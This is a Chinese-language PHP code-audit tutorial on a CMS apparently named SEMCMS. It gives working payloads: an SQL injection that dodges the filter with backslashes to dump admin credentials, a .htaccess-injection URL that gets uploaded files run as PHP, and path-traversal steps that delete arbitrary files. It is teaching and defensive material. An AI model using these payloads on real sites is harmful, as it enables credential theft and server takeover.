PHP代码审计-某CMS漏洞合集
字数 1491 2025-08-29 08:32:24
PHP代码审计教学:某CMS漏洞分析与利用
0x00 前言
本教学文档基于某CMS的代码审计实践,适合代码审计初学者学习。该CMS代码结构简单,漏洞成因经典,是学习PHP代码审计的优秀案例。
0x01 前台SQL注入漏洞分析
漏洞位置
/semcms/Templete/default/Include/index.php -> web_inc.php
漏洞成因
-
包含文件流程:
db_conn.php:建立数据库连接contorl.php:对$_GET进行全局过滤危险SQL函数
-
关键漏洞代码:
$Language = test_input(verify_str($_POST["languageID"]));
// 直接拼接进SQL语句,无引号包裹
- 过滤绕过:
verify_str函数过滤了select等关键词test_input函数中的stripslashes可去除反斜杠- 通过反斜杠转义绕过过滤:
uni\on sel\ect
利用Payload
languageID=-1 uni\on sel\ect 1,concat(user_admin,0x2d,user_ps),3,4,5,6,7,8,9,10,11,12,13,14 from sc_user un\ion
回显位置
注入结果存储在$tag_indexmetatit变量中,最终通过echo输出到页面。
0x02 后台地址寻找尝试
后台地址生成
semcms/install/index.php中随机生成后台地址:
$ht_filename = substr(md5(time().rand(1000,9999)),8,6);
寻找失败原因
- 全局搜索
$ht_filename变量无引用代码 - 尝试通过目录遍历漏洞寻找但未成功
0x03 GetShell思路分析
危险函数定位方法
- 文件包含函数:
require,include,require_once,include_once - 文件操作函数:
file_get_contents,file_put_contents,copy,unlink等 - 代码注入函数:
eval,assert,preg_replace - 命令执行函数:
exec,system,shell_exec等 - 变量覆盖函数:
extract,parse_str
后台GetShell漏洞分析
漏洞位置
file_put_contents函数写入文件操作
关键代码
function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
$template="index.php,hta/".$ml."/.htaccess";
$template_mb=explode(",",$template);
for($i=0;$i<count($template_mb);$i++){
$template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
$templateUrl = $lujin.str_replace("hta/".$ml."/","",$template_mb[$i]);
$output = str_replace('<{Template}>', $mb, $template_o);
file_put_contents($templateUrl, $output);
}
}
两种利用方式
-
修改index.php:
- 尝试写入PHP代码
- 但
verify_str过滤了单引号,利用失败
-
修改.htaccess:
- 可写入Apache配置
- Payload:
/semcms/N8D3ch_Admin/SEMCMS_Template.php?CF=template&mb=default/%0aSetHandler%20application/x-httpd-php%0a%23/../.. - 效果:使上传文件被当作PHP解析
- 限制:需Apache module模式且Linux环境
0x04 任意文件删除漏洞
漏洞位置
后台图片删除功能
漏洞成因
- 文件路径入库时仅经过
test_input,未过滤.. - 删除时直接从数据库读取路径,无二次过滤
- 关键函数
Delfile直接使用unlink删除文件
利用步骤
- 上传图片时设置路径为
../rmme.txt - 删除该图片时,实际删除网站根目录下的
rmme.txt
0x05 总结
漏洞链
- 前台无限制SQL注入 → 获取管理员账号密码
- 后台地址随机生成 → 难以直接访问
- 后台文件操作漏洞 → 可能的GetShell途径
- 任意文件删除 → 破坏性操作
学习要点
- 输入过滤不严导致的SQL注入
- 反斜杠转义绕过过滤的技巧
- 文件操作函数的安全风险
- 二次漏洞的利用方式
- 代码审计中危险函数的定位方法
防御建议
- 所有用户输入必须严格过滤
- 数据库查询使用参数化查询
- 文件操作限制路径范围
- 敏感操作增加二次验证
- 避免直接拼接用户输入到SQL语句中